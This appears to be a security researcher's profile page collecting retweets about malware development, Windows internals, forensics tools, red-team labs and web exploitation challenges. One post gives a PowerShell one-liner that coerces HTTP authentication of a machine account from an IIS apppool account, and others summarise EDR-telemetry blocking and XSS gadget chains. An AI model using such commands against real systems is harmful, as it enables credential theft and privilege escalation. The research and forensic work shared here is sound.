Naacbin

Maldev, forensic and reverse makes me happy.

[5pider @C5pider]

I haven't posted anything about Havoc in a while so imma share something I have been working on. Wrote a custom VM/Interpreter (based on the RISC-V instruction set) to execute exploits and other arbitrary code.
The client is now fully extendable and scriptable via the Python API

[Can Bölük @_can1357]

Excited to share my latest article: PgC - a novel approach to disable Patchguard during runtime using basic memory management principles.
It has worked against every version of Patchguard for the last 7 years, without needing any updates!
https://t.co/H5dDddpuMP

[S3cur3Th1sSh1t @ShitSecure]

Didn't check the code yet, but looks like SilverPotato and CertifiedDCOM have a working public weaponized tool by now:

https://t.co/xxxKppn0n6

That's huge news from my perspective🔥

[Nathan Blondel @slowerzs]

I wrote a blogpost on injecting code into a PPL process on Windows 11, without abusing any vulnerable driver.

https://t.co/X0qHJPUlYb

[Geebz @Gbps111]

I just published the long-awaited Part 2 to my PCIe blog post series - "All About Memory: MMIO, DMA, TLPs, and more!"

This post also includes a companion experiment where I dive into what pcileech looks like over a PCIe protocol analyzer. Please enjoy!

https://t.co/wAD7HYG6IW

[Ali Hadi | B!n@ry @binaryz0ne]

Here is my #Friday #giveaways!

Like, retweet and share with your network... I'll randomly choose on Monday 4/1 two winners to get the full "C5W Certified Malware Analysis" course and certification for FREE... You should not miss this! #DFIR #Malware

https://t.co/iUg1QScZqX

[k1nd0ne @k1nd0ne]

Exciting news: VolWeb 2.0 is out! This digital forensics memory analysis platform leverages the capabilities of @volatility 3 framework. With significant enhancements, it now offers improved flexibility and scalability! https://t.co/CC54A8d1gm.

1/8

[Mayfly @M4yFly]

New lab 🏰 for the GOAD project 🥳: SCCM
You can now test the SCCM/MECM attacks locally on Virtualbox or Vmware.

More information here:
https://t.co/BvAZgLSHQr

Repository here : https://t.co/mi3rP9hC1H

Thx again @KenjiEndo15 for your help to building this !

[Elliot @ElliotKillick]

I just spent the last few months of my life reverse engineering the Windows 10 parallel loader and figuring out how it does concurrency. Updates have now been published!

https://t.co/iQtWoJbwep

[Naacbin @naacbin]

Over the past few months, I've contributed on the https://t.co/7cw0Dyv8Cm repository to incorporate forensic packages. As a result, I've developed scripts to automate VM installation for reverse, maldev and forensic purposes.
👇
https://t.co/2rU9EyZIDH

[Ange @angealbertini]

I documented https://t.co/tjZc5A8NgE and made 'low alignment PEs' (PoCs @ https://t.co/9nSpKDlFis) around 2009 but I'm pretty sure this was known before.
Any early case of ITW low-align PE ? cc @Hexacorn @a2_qkumba @hasherezade @rwfpl

[Kévin GERVOT (Mizu) @kevin_mizu]

Challenge time is now over ⏰

TL;DR
- HTML injection
- Axios DOM Based CSPP
- Axios CSPP response overwrite gadget
- jQuery DOM Clobbering + CSPP selector overwrite gadgets
- Setting src attr to "javascript:" for each HTML node ➝ XSS

Detailed writeup 👇
https://t.co/xcRXx4jiZz

[Mayfly @M4yFly]

Did you know you didn't need to use a potatoes exploit to going from iis apppool account to admin or system ?

Simply use:
powershell iwr http://192.168.56.1 -UseDefaultCredentials
To get an HTTP coerce of the machine account.
👇🧵

[an0n @an0n_r0]

OST cannot be stopped. Here is a technique we tested internally 9 months ago: blocking EDR telemetry by leveraging the Windows Filtering Platform. Considered it so evil that we didn't publish it that time. It was pointless, now here it is by @netero_1010: https://t.co/TxxJrefTcW

[Naacbin @naacbin]

@vxunderground @whid_ninja Someone I know has it and from what he told me it's awesome!

[Charlie Bromberg « Shutdown » @_nwodtuhs]

Exegol holiday release is live 🎄🎁🎅

New remote graphical desktop, image entrypoint, container startup script, new tools, improved pipeline, doc, etc. Many big things!

https://t.co/R6K6iOqgUf
https://t.co/TwVCkgRQ2a

gg to the team @Dramelac_ @QU35T_TV 👏 and all contributors.

[Fox-IT @foxit]

Read our latest blog to find out how our Security Research Team reverse-engineered Windows Defender to uncover previously undocumented artefacts, which can now be recovered using Dissect!
https://t.co/zpgZ8UMFkc

[Naacbin @naacbin]

I have made 2 writeups for #ECSC2023 and #DGhAck. For the 2nd one, I used https://t.co/HD4XPjqVQ2

[1] Recovering PDF using DataRun of $LogFile
> https://t.co/jlqgXrv7Im
[2] Decrypt empire C2 communication by extracting private key from memory
> https://t.co/JPFTys7afX

[k1nd0ne @k1nd0ne]

Time to make @volatility 3 compatible with modern Windows hibernation file analysis.
Blog post : https://t.co/csNyxyZqO5
Feature : https://t.co/9UjMtS4TVp

Special thanks to @chadtilbury who gave me the motivation and @jtsylve, @vicomarziale, @nolaforensix for the incredible work

[Naacbin @naacbin]

@kevin_mizu What a #bugbountytips from @kevin_mizu 😱😱